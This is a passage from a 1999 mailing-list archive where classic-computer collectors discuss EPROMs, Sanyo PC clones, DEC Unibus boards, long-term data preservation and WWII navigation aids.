pm Message-ID: <199901191455.GAA12532@oa.ptloma.edu> A non-text attachment was scrubbed... Name: not available Type: text Size: 1094 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990119/5797b758/attachment.ksh From ckaiser at oa.ptloma.edu Tue Jan 19 08:57:55 1999 From: ckaiser at oa.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 18:40:17 2005 Subject: Telnet into a TRS-80 In-Reply-To: <36A463EC.80A941DF@bigfoot.com> from "Russ Blakeman" at Jan 19, 99 04:52:29 am Message-ID: <199901191457.GAA12576@oa.ptloma.edu> A non-text attachment was scrubbed... Name: not available Type: text Size: 878 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990119/7b268e08/attachment.ksh From ddameron at earthlink.net Mon Jan 18 22:44:41 1999 From: ddameron at earthlink.net (dave dameron) Date: Sun Feb 27 18:40:17 2005 Subject: TK50Z-GA EPROM Message-ID: <199901190444.UAA27392@avocet.prod.itd.earthlink.net> At 09:07 PM 1/18/99 +0000, Tony wrote: >> Hmm. You're comparing CMOS with TTL. The traditional EPROMs are not TTL >> but NMOS - very similar components (at the transistor level) to CMOS, but > >Were some of the early EPROMS PMOS? The 1702 might have been (the supply >voltages look like PMOS supply rails), but it's not stated in either the >Intel or NatSemi data sheets. > Yes, as well as National's (5203), as well as families like Intel's 1101, 4004, 4040, 8008, etc. My guess back then = around 1974, was NMOS was not used (much) yet, so MOS only meant pMOS. Another giveaway would be the negative Vdd. It puzzled me for a bit that some pMOS chips had no ground (0 Volt) pin, a 1101, for example, ran off a 14 Volt supply with the positive tied to 5 Volts so the pMOS outputs could drive TTL. Am sure there were very many others such as the AY-5-1013 UART and 2513 (in)famous character generator... One of Intel's last pMOS products was the 1103 1K ram. I seem to remember it was marketed as a replacement RAM for various mini's. This is _only_ 25 years ago, does anyone have a system RAM board running with these? (Connecting the thread for 100 year old systems.) -Dave From foxvideo at wincom.net Tue Jan 19 09:11:32 1999 From: foxvideo at wincom.net (Charles E. Fox) Date: Sun Feb 27 18:40:17 2005 Subject: Long term data storage (was: Disasters and Recovery In-Reply-To: References: <199901182258.PAA11136@calico.litterbox.com> Message-ID: <3.0.5.32.19990119101132.007bab00@mail.wincom.net> At 12:46 AM 1/19/1999 +0000, you wrote: >> >> A recent program on Stonehenge on the Discovery channel said the RAF wanted to >> level Stonehenge with explosives, but the person who owned the land they were >> on refused to let them. *boggle* Is it just me, or does all this suggest >> that in the 1930s and early 40s good maps were much harder to come by than > >A lot of it was propaganda to the British public to convince them how >important the war was.... > >Of course there were maps. Ordnance Survey maps were originally produced >for military use (hence the name), but nowadays are available just about >anywhere in the UK (most bookshops keep at least the local ones). During >the war they were probably impossible to obtain, but before the war, trivial. > >And you can bet they had got them in Germany as well. After all, the >British certainly had German maps. > >The other thing that worries me is that Stonehenge is not the best >landmark in that area. Salisbury Cathedral's spire is probably a lot >easier to see from a distance. > >-tony > > I once heard that the Luftwaffe got a lot of its info on the location of British aircraft factories from advertising in The Aeroplane and other magazines. Regards Charlie Fox Charles E. Fox Chas E. Fox Video Productions 793 Argyle Rd. Windsor N8Y 3J8 Ont. Canada email foxvideo@wincom.net Homepage http://www.wincom.net/foxvideo From gram at cnct.com Mon Jan 18 21:50:09 1999 From: gram at cnct.com (Ward Donald Griffiths III) Date: Sun Feb 27 18:40:17 2005 Subject: Disasters and Recovery References: Message-ID: <36A400F1.B4946E9F@cnct.com> Sam Ismail wrote: > > On Mon, 18 Jan 1999, Ward Donald Griffiths III wrote: > > > Schematics. Source code. Drawings. Any other available technical > > info. _Printed_ on acid-free paper (hemp is best). From proper > > Hemp? Dangerous suggestion for one of two reasons: > > By that time pot (hemp) will either be so illegal that a) the gubment will > confiscate the paper as soon as its unearthed and burn it or b) some > futuristic pot-head capsule looters will raid it so they can smoke the > documentation. Well, the Declaration of Independence, the Constitution, and the Bill of Rights originals are made of hemp paper, as were most documents of that era. Acid-treated wood-pulp as a paper source didn't become a serious industry until this century, before then hemp was the main material for paper production in this country. The plant is quite versatile, and it's only lately that serious effort has been made to maximize resin production - the resin was a minor byproduct of the fiber, but with the acreage needed to grow fiber _and_ resin, the effort lately among horticulturists has been to select for minimal stalk (fiber) in favor of the resin-producing components. Evolution in action, less acreage attracts less attention from those working on the War on the Bill of Rights disguised as a War on Drugs. If you think somebody will dig up an archive of computer documentation to get high, try smoking a dollar bill. Yup, hemp fiber. No resin in hemp fiber paper. (Then again, something like 75% of US currency will give a positive in a test for cocaine due to the fact that for decades cash has been used in the transactions and has been used as straws -- there's more than one reason for the new fathead bills). -- Ward Griffiths WARNING: The Attorney General has determined that Alcohol, Tobacco, and Firearms can be hazardous to your health -- and get away with it. From kbd at ndx.net Mon Jan 18 22:38:29 1999 From: kbd at ndx.net (Kirk Davis) Date: Sun Feb 27 18:40:17 2005 Subject: Greetings and Questions In-Reply-To: <199901131435.AA05502@world.std.com> Message-ID: <000501be4365$8f9ad740$0a00000a@oemcomputer> Thanks to all that responded to my original message. Quick follow up to my original message. I was able to go back to the place I got my PRO380 from and get the VT201 and was able to boot up the system and play around a bit. Quite interesting - It's running P/OS and has a DCL based command interpreter with various commands. It also seems to have FORTRAN and MACRO11 installed. I'm going to spend some time playing around and see what else it has installed. Thanks to all that responded to my message. Kirk > "Kirk Davis" wrote: > >Hi all - I'm new to the mailing list and have just started > >collecting various pieces of retro computer paraphernalia. Had > >some fun today at the local salvage yard prying open a VAX 8800 > >looking for interesting bits. > > >Did manage to get the console. Various people have told me that > >this is most likely a PRO350 or PRO380 (PDP!!!!). Looking inside it's > >got a RD52 and a set of floppies along with the associated controller > >cards and the main board. It appears to be in good shape - when I > >turn on the power, it goes though it's self test and appears to boot > >from the hard disk. > > >1. What are my options are far as os'? I'm told that it most likely > >has a subset of RT11 on the drive. Is this my only option or is it > >possible to install other PDP11 based os' on this system? > >2. The back panel has a serial port and a monitor port (along with > >what appears to be a printer and AUI network port). There is no > >direct keyboard input that I can see. I connected a serial terminal > >to the system and tried various baud rates and parity selections > >(300-19200, 8-n-1 & 7-e,1) and have been unable to get the system to > >respond. I'd assume some sort of signon banner at boot but since this > >was a dedicated console for a vax it's limited to the output only on > >the other monitor port? Maybe someone can enlighten me.... From gram at cnct.com Mon Jan 18 20:46:00 1999 From: gram at cnct.com (Ward Donald Griffiths III) Date: Sun Feb 27 18:40:17 2005 Subject: Long term data storage (was: Disasters and Recovery References: <199901182258.PAA11136@calico.litterbox.com> Message-ID: <36A3F1E8.C3BE4E2A@cnct.com> Jim Strickland wrote: > > A recent program on Stonehenge on the Discovery channel said the RAF wanted to > level Stonehenge with explosives, but the person who owned the land they were > on refused to let them. *boggle* Is it just me, or does all this suggest > that in the 1930s and early 40s good maps were much harder to come by than > today? I know the advent of satelite mapping has improved it, but you'd think > anyone planning to invade England would have gone there in 1938 and just > BOUGHT maps. On-board instrumentation on German aircraft was not that good (as it was also not that good on English or American planes early in the War) during the Blitzkrieg. Landmarks were often crucial. Stonehenge _may_ have been a landmark, but there weren't that many targets (none that I can think of) beyond it for bombing raids from the usual directions -- at most, it would have clued the navigator to tell the pilot to turn around. Stonehenge was definitely neither bulldozed nor bombed. It would show, and too many people have examined it since then. (And a number of groups held ceremonies there during the war, not always with the permission of the government despite the fact that they were on the same side). > > I've never heard that one. Plenty of things like that were done in WW2, > > mostly to impress upon the public that 'there's a war on'. > > > > Both my parents (who lived through the war) assure me that Stonehenge was > > not moved, laid flat, or anything else in the war. > > > > Of course some things (stained glass windows, for example) were moved to > > protect them in the event of bombing. > > > > Anyway, stones lying flat in a field would also be a good landmark IMHO. > > Possibly even more visible. > > > > -tony > > > > -- > Jim Strickland > jim@DIESPAMMERSCUMcalico.litterbox.com > ----------------------------------------------------------------------- > Vote Meadocrat! Bill and Opus in 2000 - Who ELSE is there? > ----------------------------------------------------------------------- -- Ward Griffiths WARNING: The Attorney General has determined that Alcohol, Tobacco, and Firearms can be hazardous to your health -- and get away with it. From lwalker at mail.interlog.com Tue Jan 19 04:08:48 1999 From: lwalker at mail.interlog.com (Lawrence Walker) Date: Sun Feb 27 18:40:17 2005 Subject: Apple II FAQ location? In-Reply-To: <002c01be4342$9c018380$e0e5fea9@mainoffice> Message-ID: <199901191715.MAA13783@smtp.interlog.com> On 18 Jan 99 at 19:13, Richard A. Cini, Jr. wrote: > Now that Nathan Mates is no longer maintaining the Apple II FAQ, who is? > I just wanted to update the local copies of some of my FAQs. > > Actually, doesn't MIT act as a master archive? Anyone have that URL? > > Thanks! > for on-line FAQs perusing via Netscape, etc. ... http://www.grin.net/~cturley/A2.FAQs.and.INFO/CSA2.FAQs/ ftp://apple.cabi.net/pub/applegs/FAQs.and.INFO/A2.Csa2.FAQs/ for downloading or Viewing via an FTP program ... ftp://ground.ecn.uiowa.edu/apple2/Faqs/ ciao larry lwalker@interlog.com From cfandt at netsync.net Tue Jan 19 10:09:40 1999 From: cfandt at netsync.net (Christian Fandt) Date: Sun Feb 27 18:40:17 2005 Subject: Looking for Buck Savage Message-ID: <4.1.19990119105652.00af75f0@206.231.8.2> I'm trying to contact one of our (past?) list members who used to hang out here. Have any of you folks in California heard where Buck is now (aka William Buckley)? He was rather interested in a bunch of DEC gear that I have in my garage for his museum he said he was putting together. We had been emailing each other up 'til middle of December but now I don't get any replies. My email doesn't bounce ("Buck Savage" ). I need to move this DEC stuff ASAP. Thanks for all your help gang! Regards, Chris -- -- Christian Fandt, Electronic/Electrical Historian Jamestown, NY USA cfandt@netsync.net Member of Antique Wireless Association URL: http://www.ggw.org/freenet/a/awa/ From cmcmanis at freegate.com Tue Jan 19 11:11:37 1999 From: cmcmanis at freegate.com (Chuck McManis) Date: Sun Feb 27 18:40:17 2005 Subject: Disasters and Recovery In-Reply-To: References: Message-ID: <4.1.19990119091021.00a86930@mailhost.hq.freegate.com> At 10:06 PM 1/18/99 -0800, John Lawson wrote: >On Mon, 18 Jan 1999, Tony Duell wrote: >> > >> > But where can you find a drive that can read a sheep? >> >> You mean you've not come across baa-code readers :-) >> >> -tony > > My Gawd, Tony..... how dare ewe???? > PLEASE restrain yourselves, the next thing you know people will be flocking to this list just for the classic puns. --Chuck From jfoust at threedee.com Tue Jan 19 09:33:48 1999 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 18:40:17 2005 Subject: Disasters and Recovery In-Reply-To: References: Message-ID: <3.0.5.32.19990119093348.00f05270@pc> At 04:19 PM 1/18/99 -0800, Sam Ismail wrote: > >I guess I'm just an optimist, thinking that 100 years from now we'll be >living in a society like in Star Trek: The Next Generation, where you just >ask the computer a question and it (usually) has all the answers. You mean, like a mailing list? - John From jfoust at threedee.com Tue Jan 19 09:38:06 1999 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 18:40:17 2005 Subject: Disasters and Recovery In-Reply-To: <199901182251.PAA11070@calico.litterbox.com> References: Message-ID: <3.0.5.32.19990119093806.00f07820@pc> >> > But where can you find a drive that can read a sheep? >> >> You mean you've not come across baa-code readers :-) Surely ewe've seen a RAM controller? Wool, I have! I've been seriously considering making a "Sheep Cam" and putting it on the web: a little vest for one of the sheep on my farm, with a wireless video cam back to the house and out to the net, with a solar trickle-charge to keep it afloat. I'd do it as a promotion for a wool-related side-business that my wife wants to start. In the novel "The Dechronization of Sam Magruder," a scientist sent back to the late Cretaceous used quartzite slabs to send a message to the future. See or . - John From jfoust at threedee.com Tue Jan 19 09:30:22 1999 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 18:40:17 2005 Subject: Nicolet XF44 In-Reply-To: <19990118170949.48c48963.in@mail.pressstart.com> Message-ID: <3.0.5.32.19990119093022.00ee1dc0@pc> At 05:17 PM 1/18/99 -0800, Doug Coward wrote: >Marvin said: >>Last night I was given (what I think is) another computer labeled Nicolet >>Model XF44. > This sounds a lot like one that I have, need two? >Any way, it seem to be diskette storage for a Nicolet >Model 4094 Digital Storage Oscilloscope. >It's listed here: http://www.naptech.com/catLAOS1.htm As I've related before on this list, in relation to Sam's (?) Nicolet machines, Nicolet still exists at the same location in Madison, Wisconsin, not far from here, and an old friend of mine works there. They've been producing their own computers for quite some time. They seem to have kept a few spare parts and working machines of representative old models, but it's poorly organized and the knowledge transmitted person-to-person. - John From Hans.Franke at mch20.sbs.de Tue Jan 19 11:57:30 1999 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:40:17 2005 Subject: PC-Classic (was: Sanyo 55x detractors (was:RE: IBM Floppy...)) In-Reply-To: <001101be433b$8bfa7110$bb88e9cf@yamato.chipware.com> References: Message-ID: <199901191700.RAA10883@nixpbe.pdb.sni.de> > > > Come on now, what you don't seem to remember is that it was less than > > > half as expensive as any other similar machine at the time. And no, > > > I'm not prejudiced because I wrote the Byte magazine review of it. :) > > > It's a great hackers machine because almost nothing is in ROM and with > > > a little hardware hacking it could be made pretty close to an IBM PC > > > in terms of compatibility and a heck of a lot faster. > > Faster? Are we talking about the same machine? The Sanyo had to be the > > only clone that ever took IBM's pokey 4.77Mz clock and *reduced* it to > > 3.58MHz! > I did say with a little hardware hacking. You could OC it to 7.16 with a > V20. Apropos overclocking the PC - does anybody remember the Screamer card ? An AddOn card that did increase the clock in 4 steps between 4.77 and 9.54 MHz (AFAIR) _seperate_ for each 64 K block of mem via a set of dip switches. The speed selection was also programmable. They supplied a programm that tested the installed memory to see the maximum possible clock and give the instructions to set the switches. And the PC was whoooping fast :) Also a V20 was supported. I installed it to runn Pool of Radiance, a back then popular game, that already was _a_bit_ slow on an original PC (with VGA), since the AT was already available. You know, most real world programmer only optimizes a programm until it runs faily acceptable on _his_ machine - and they have to have always the newest EQ... (A similar Game - same developer - was available on the APPLE ][ and did run well with a 1 MHz 6502 :) So, back to my question, does anybody remember this Card ? Have there been similar aproaches ? Additional Software ? (I never could get hand on any in deep documentation or API) Gruss H. -- Ich denke, also bin ich, also gut HRK From geoffrob at stmarks.pp.catholic.edu.au Tue Jan 19 12:30:06 1999 From: geoffrob at stmarks.pp.catholic.edu.au (Geoff Roberts) Date: Sun Feb 27 18:40:17 2005 Subject: OT: Navigation Aids (was Long term data storage) (was: Disasters In-Reply-To: <36A3F1E8.C3BE4E2A@cnct.com> Message-ID: <199901191759.JAA06173@mxu3.u.washington.edu> > Date: Mon, 18 Jan 1999 21:46:00 -0500 > Reply-to: classiccmp@u.washington.edu > From: Ward Donald Griffiths III > To: "Discussion re-collecting of classic computers" > > Subject: Re: Long term data storage (was: Disasters and Recovery > Jim Strickland wrote: > On-board instrumentation on German aircraft was not that good I beg to differ. The Luftwaffe had a very good radio navigation system mostly in place at the start of the war, a development of the Lorenz Blind Landing system (essentially a VHF Aural Range or VAR) called " Knickebein" (Crooked Leg). Knickebein was used to allow Luftwaffe aircraft to navigate with considerable accuracy over England, and made night bombing worth the effort. It was detected and (ultimately) jammed, and was essentially unuseable after July 1940. A constant race (The "Battle of the Beams") went on between British Scientific Intelligence trying to figure out what new radio navaids were being developed and used, and means to jam them, and the Germans trying to come up with replacements for navaids that were compromised or jammed. A replacement for the jammed Knickebein system was instrumental in the destruction of Coventry. "Pathfinder" aircraft of KG100 using the then new "X-Gerat" system marked the target with incendiary devices so that the recently de-Knickebeined main force could locate and bomb the target. This took place by night, so visual navigation was not being depended on. > (as it was also not that good on English or American planes early in the War) This is certainly true. The RAF heirarchy were still of the opinion that it was possible to navigate accurately at night by astronomical means, in the same way that ships did. This was ultimately proven to be wishful thinking, but the attitude delayed the introduction of navaids like Gee and Oboe for some time. > Landmarks were often crucial. Useful by day, but the Germans found that bombing during the day was perilous in the extreme, an experience shared by the US Air Force over Germany somewhat later. At night landmarks have little practical use. Unless they are on fire of course. Interestingly, the Coventry raid was made during a full moon, and anecdotal reports from Luftwaffe aircrew suggests that they could probably have found the target visually, particularly after it was well alight. Much of this was detailed in a BBC TV series called "The Secret War", and in a book of the same name. Another book by the then head of British Scientific Intelligence, R.V. Jones "Most Secret War" goes in more depth into this and other fascinating things. To get us back on topic, there is considerable time given in these sources to the means used to crack the codes generated by the German Enigma and Geheimschreiber encrypting machines. Arguably the first true electronic computer, Colossus, was built specifically to deal with the Geheimschreiber, and had contributions to it's design by the legendary Alan Turing himself.. The book "The Ultra Secret" goes into the whole business of the Enigma codes, and the breaking of them, which aided the Allies enormously throughout the war. I tried to name my first VAX "Colossus" in it's honour, (and because of it's SIZE - it's a 6000) but was foiled by the 6 character limit in VMS/Decnet host names. So I had to settle for ENIGMA. Cheers Geoff Roberts Computer Systems Manager Saint Mark's College, Port Pirie, South Australia geoffrob@stmarks.pp.catholic.edu.au From bill at chipware.com Tue Jan 19 10:11:17 1999 From: bill at chipware.com (Bill Sudbrink) Date: Sun Feb 27 18:40:17 2005 Subject: Sanyo 55x detractors (was:RE: IBM Floppy...) In-Reply-To: <36A3C20A.76FD358C@bigfoot.com> Message-ID: <001701be43c6$581e7810$bb88e9cf@yamato.chipware.com> > You're right though - you couldn't do anything without some > sort of hack, to include the power supply not being triggered for more > than just 2 floppies and 640k memory. Put anything more in it like a video > board with memory and it would go into eternal reset/restart until you > pulled the board. Hmmm... mine has V20 at 7MHz, 768K, CGA and serial boards and a 10 Meg hard disk. The only part I don't think I ever hacked was the power supply and the last time I powered it up it worked fine. Bill Sudbrink From bill at chipware.com Tue Jan 19 10:02:59 1999 From: bill at chipware.com (Bill Sudbrink) Date: Sun Feb 27 18:40:17 2005 Subject: Sanyo 55x detractors (I'm one!!!!) In-Reply-To: <3.0.1.16.19990118202933.3e9fdda4@intellistar.net> Message-ID: <001601be43c5$2f7ca9f0$bb88e9cf@yamato.chipware.com> > >> Come on now, what you don't seem to remember is that it was less than > >> half as expensive as any other similar machine at the time. > > Only because >THE< IBM PC was the only other "similar" machine on the > market at the time! Even so, it was a poor bargain! I mean similar in terms of standard features *NOT* IBM-PC compatibility. > BTW one reason the Sanyo was the first (choke!) "compatible" machine on > the market and the reason that it had so many compatibility problems was > that it was designed as a CPM machine and converted to MS-DOS at the last > moment. When it was first released, I don't believe that Sanyo made any compatibility claims. > >> And no, > >> I'm not prejudiced because I wrote the Byte magazine review of it. :) > > Then I would like to wring your neck! I bought my 550 based on your > glowing report. You completely brushed over the compatibility and other > problems. Crap like that is the reason that I quit reading Byte. They > never told the truth about the SW and HW they were testing. I'm very sorry that you felt mislead by my review. I'll have to go get my copy, but I don't believe I made any compatibility claims. I pointed out a number of the differences (in particular the sound system and the keyboard). I may have made mention of the upcoming CGA compatible graphics card and that the schematics indicated signals to be used to produce an expansion box with IBM-PC compatible card slots. Bill Sudbrink From bill at chipware.com Tue Jan 19 09:45:13 1999 From: bill at chipware.com (Bill Sudbrink) Date: Sun Feb 27 18:40:17 2005 Subject: Sanyo 55x detractors (was:RE: IBM Floppy...) In-Reply-To: <3.0.1.16.19990118201458.2f0fe060@intellistar.net> Message-ID: <001501be43c2$b3e29540$bb88e9cf@yamato.chipware.com> > I also nominate the Sanyo 550 computers has having THE worst > documentation of any computer ever sold in the US! I have to agree, at that time Sanyo's hardware documentation policy sucked. In order to get the HW info, you had to attend a Sanyo service class (I seem to recall the class fee to be around $300). Bill Sudbrink From bill at chipware.com Tue Jan 19 09:45:12 1999 From: bill at chipware.com (Bill Sudbrink) Date: Sun Feb 27 18:40:17 2005 Subject: Sanyo 55x detractors (was:RE: IBM Floppy...) In-Reply-To: <3.0.1.16.19990118201048.3a974b18@intellistar.net> Message-ID: <001401be43c2$b3b19a30$bb88e9cf@yamato.chipware.com> > >> it was that RAM disks and hard drives went to E: by defualt. An > >> aftermarket DOS (name escapes me now) > > DS-DOS by Michtron. I bought it. It was the buggiest piece of software > that I ever had the DIS-pleasure of owning! DS-DOS would let you use 80 > track 5 1/4" drives in the Sanyo and put 10 sectors on them. > =800K per disk. There were several alternate OSs. The best was OK-DOS by AOK Computers of Silver Spring Maryland. Supported several alternate disk formats and hard disk controllers. Vastly improved graphics and keyboard compatibility. Bill Sudbrink From erd at infinet.com Tue Jan 19 12:06:20 1999 From: erd at infinet.com (Ethan Dicks) Date: Sun Feb 27 18:40:17 2005 Subject: Unibus boards for trade In-Reply-To: <000601be4366$b952f760$0a00000a@oemcomputer> from "Kirk Davis" at Jan 18, 99 08:46:48 pm Message-ID: <199901191806.NAA17926@user2.infinet.com> > > Hi all, > > I have the following Unibus boards for trade if anyone needs them: > > M9313, M9202, M7793, M7793, M7258, M8396 In order, M9313 - UET Unibus Excercisor and Terminator M9202 - UNIBUS backplane jumper M7793 - Half of a DEUNA. M7793 - Half of a DEUNA (perhaps you have an M7792 and cables?) M7258 - LP11 M8396 - DMF32 > The things I'm looking for are: > > RCA1802 related stuff - Especially a manual and/or schematics for a Quest > Super ELF. I have a fairly good collection of 1802 docs from the 1970's and 1980's.. Is that worth a trade? -ethan From userf at clara.net Tue Jan 19 09:57:51 1999 From: userf at clara.net (Rob Gillibrand) Date: Sun Feb 27 18:40:18 2005 Subject: Sanyo 16LT Message-ID: <00f301be43c8$a1a94da0$54fefea9@rob> Sorry I forgot the CPU runs at 8MHZ and it looks like any other laptop from the outside. Rob -----Original Message----- From: Joe To: Discussion re-collecting of classic computers Date: 19 January 1999 12:21 Subject: Re: Sanyo 16LT >At 09:30 PM 1/18/99 -0000, you wrote: >>I have recently aquired the above notepad computer I wonder if anyone has >any > > > I used a Sanyo for years and used to keep up with their stuff but I've >never heard of one. How old is it? Can you post a picture? > > Joe > > > From userf at clara.net Tue Jan 19 09:51:04 1999 From: userf at clara.net (Rob Gillibrand) Date: Sun Feb 27 18:40:18 2005 Subject: Sanyo 16LT Message-ID: <00f201be43c8$a0ad8880$54fefea9@rob> The Sanyo 16LT is a black laptop with two floppies 640K memory it has no ram no harddisk an LCD display a parallel, RGB and serial ports I believe it has a 300Kbits modem, however I have no software or satisfactory OS although I have one floppy with what I believe is part of dos 3.3 and 4 others which is part of an office suite package called SMART. What I really need is some software which is designed to run with limited memory from floppies. Of course a manual would be ideal. Thanks Rob -----Original Message----- From: Joe To: Discussion re-collecting of classic computers Date: 19 January 1999 12:21 Subject: Re: Sanyo 16LT >At 09:30 PM 1/18/99 -0000, you wrote: >>I have recently aquired the above notepad computer I wonder if anyone has >any > > > I used a Sanyo for years and used to keep up with their stuff but I've >never heard of one. How old is it? Can you post a picture? > > Joe > > > From Hans.Franke at mch20.sbs.de Tue Jan 19 13:12:48 1999 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:40:18 2005 Subject: why (was: Disasters and Recovery) In-Reply-To: References: <19990118051227.656.qmail@brouhaha.com> from "Eric Smith" at Jan 18, 99 05:12:27 am Message-ID: <199901191815.SAA12203@nixpbe.pdb.sni.de> > > top-loading CM-100 (aka DEC RRD-40, apparently) was based on the same > > mechanism as their first Marantz brand CD-Audio player. Aside from the > > CD-Audio chip set, there are no ASICs or other difficult-to-reverse-engineer > > parts in it, or on the CM-153 host interface. They just took the audio chip > > set, disabled the interpolation, and added an 8051 and about 35 TTL and CMOS > Why do I suddenly want one of these???? Seductive marketing techniques ? Tey tell you a whole bunch of unimportant data (stupid numbers and abrevations) and within a Blink you know _this_is_it_ ! Marketing ! Gruss H. -- Ich denke, also bin ich, also gut HRK From Hans.Franke at mch20.sbs.de Tue Jan 19 13:12:49 1999 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:40:18 2005 Subject: Merced - and the ol' Unix story (was Re: OT, but info needed: RAM uprade) In-Reply-To: References: <199901181703.RAA08248@nixpbe.pdb.sni.de> from "Hans Franke" at Jan 18, 99 06:03:57 pm Message-ID: <199901191815.SAA12200@nixpbe.pdb.sni.de> > > > Over 90% of the time, installing something on this linux machine (which > > > is anything but standard) consists of unpacking the tar archive and > > > typing make. That's it. No fiddling about, it just compiles and installs. > > > Sometimes there's a configuration script to run, but that's no real problem > > He said the word, there it is again .... COMPILE. > Sure. The point is that typing 'make', for all it runs a compiler, does > not require any programming knowledge. TBD. > How would an enduser tell the difference between a Windows installation > program that copies files to the right places and modifies some > configuration files, and a linux one that copies some files to the right > places, modifies some configuration files and runs make to build the > binaries from the C source. It doesn't require _any_ more knowledge. If the installation does this all for me, without any problems (like different header files, unimportent, but ill behavied defines or a different compiler version - not to mention different libc's) _and_ without any unnecersary interacion (like start the package manager, change directory, change environment settings, change script files, start 3 make runs, change /stc/* setings, etc.), I'm completly fine with that, but in fact, I never had the luck - I _can't_ remember any situation where I installed a source level package in an unix environment without these tasks. One could send Windows to hell, but installation of (most) user apps is end user friendly - start the installer (or just insert a CD with autostart), click install, _maybe_ change the proposed installation directory, and that's it. x86 Linux, with it's huge binary support is the only Unix like system I know that comes close to that - and if the KDE will advance, they might peer with windows at this. Don't get me wrong, of course I dig thru any .conf file I can find, just to see how it's don (if no other reason is available), but thats not what I'm talking about. I want to download a package and just start RPM and _maybe_ answer if I want to run the installed soft now, or wait... Of course to do this, a System has to be more defined/standardized than most unixes are, but x86 Linux is setting these (needed) standards defacto (maybe a user has to check for the right version for his distribution, but even this can be handled - some good packages already check and apply acording if a SuSE or RedHat is found). Gruss H. -- Ich denke, also bin ich, also gut HRK From Hans.Franke at mch20.sbs.de Tue Jan 19 13:37:32 1999 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:40:18 2005 Subject: C1P (was: more auction silliness...) In-Reply-To: <001001be4334$30af2e60$bb88e9cf@yamato.chipware.com> References: <36A3B223.44506551@bigfoot.com> Message-ID: <199901191840.SAA12678@nixpbe.pdb.sni.de> > Well, I see my Ohio Scientific collection is going to > start increasing in value... A C-1P for $405 US!?!? Well, I could also imagine to pay for a C1P in case and good condition 100 USD and up ... > I'M RICH! I'M RICH! I'M FABULOUSLY WEALTHY! > (Doing my best Daffy Duck impression) Have you seen that only models that have a crack in the main PCB are this worth ? <..> H. -- Ich denke, also bin ich, also gut HRK From ckaiser at oa.ptloma.edu Tue Jan 19 12:48:20 1999 From: ckaiser at oa.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 18:40:18 2005 Subject: Infocom InvisiClues Message-ID: <199901191848.KAA09632@oa.ptloma.edu> A non-text attachment was scrubbed... Name: not available Type: text Size: 752 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990119/79a7b9a2/attachment.ksh From Philip.Belben at pgen.com Tue Jan 19 10:15:45 1999 From: Philip.Belben at pgen.com (Philip.Belben@pgen.com) Date: Sun Feb 27 18:40:18 2005 Subject: OT: Alien Media (was Disasters and Recovery) Message-ID: <802566FE.005EADBE.00@WESTD90.pgen.co.uk> > IC memory is a problem. Will they know what logic levels and supply > voltages to apply. Will data books survive? Very few of them are anything > like archival quality... > > It's things like that (+5V logic supply rails, TTL thresholds) that > we'll probably forget to include, but which might be _very_ important. Depending on how long we expect to elapse before the archaeologists get around to digging it up, I would tend to include copies of suitable reference books with whatever else is in the capsule. To take it to extremes, things like the definition of a volt may be needed... Philip. From Philip.Belben at pgen.com Tue Jan 19 10:32:52 1999 From: Philip.Belben at pgen.com (Philip.Belben@pgen.com) Date: Sun Feb 27 18:40:18 2005 Subject: Preserving for the distant future (was: Re: Disasters and Recovery) Message-ID: <802566FE.005EDAAF.00@WESTD90.pgen.co.uk> > There were comments that the Dead Sea scrools were on parchment rather > than paper. True. There are Egyptian papyri that are older than the > Dead Sea scrolls (some retaining quite a bit of color). To be pedantic, also not paper. They dried the reeds and glued strips together, rather than pulping them. No acid in the treatment for a start... Now, as for what the best paper is, not far from my parents' they still make paper by hand at Wookey Hole Mill. Originally set up to recycle cloth, they now import raw cotton from the US (recycled cloth contains too much artificial fibre). But the treatment for the rags was to boil them up in caustic soda (NaOH), not acid... I think linen (flax) fibres make pretty good paper. Manila (?sp) fibres make strong envelopes. How about printing on Tyvek? That stuff's pretty indestructible. > And yes, there's the chiselled stone media. If somebody can get me a > good source for affordable media, I'll start work on a printer (I > think the headstone folks have some items that could be built into a > prototype). I don't know whether you can get the stuff in the US, but in the UK slate was used extensively as a roofing material until quite recently (you can still get new slates, but most new buildings use modern composite materials in roof tiles). Most building salvage places will sell you secondhand roofing slates by the box. Not suitable for chiselling, though - better to use some sort of grinding tip on a miniature hand drill. Another suggestion. The Mormons claim their scripture was preserved on metal plates (metal foil?) for well over 2000 years. You could ask for specifications - alas, the originals have mysteriously vanished... Philip. From jim at calico.litterbox.com Tue Jan 19 12:53:33 1999 From: jim at calico.litterbox.com (Jim Strickland) Date: Sun Feb 27 18:40:18 2005 Subject: Disasters and Recovery In-Reply-To: <36A400F1.B4946E9F@cnct.com> from "Ward Donald Griffiths III" at Jan 18, 1999 10:50:09 PM Message-ID: <199901191853.LAA15445@calico.litterbox.com> > Well, the Declaration of Independence, the Constitution, and the Bill > of Rights originals are made of hemp paper, as were most documents of > that era. *snip* Really? I always thought they were using rag paper at the time. Interesting. -- Jim Strickland jim@DIESPAMMERSCUMcalico.litterbox.com ----------------------------------------------------------------------- Vote Meadocrat! Bill and Opus in 2000 - Who ELSE is there? ----------------------------------------------------------------------- From Philip.Belben at pgen.com Tue Jan 19 10:38:54 1999 From: Philip.Belben at pgen.com (Philip.Belben@pgen.com) Date: Sun Feb 27 18:40:18 2005 Subject: Long term data storage (was: Disasters and Recovery Message-ID: <802566FE.00606D42.00@WESTD90.pgen.co.uk> >> A recent program on Stonehenge on the Discovery channel said the RAF wanted to >> level Stonehenge with explosives, but the person who owned the land they were >> on refused to let them. *boggle* Is it just me, or does all this suggest >> that in the 1930s and early 40s good maps were much harder to come by than > > A lot of it was propaganda to the British public to convince them how > important the war was.... > > Of course there were maps. Ordnance Survey maps were originally produced > for military use (hence the name), but nowadays are available just about > anywhere in the UK (most bookshops keep at least the local ones). During > the war they were probably impossible to obtain, but before the war, trivial. > > And you can bet they had got them in Germany as well. After all, the > British 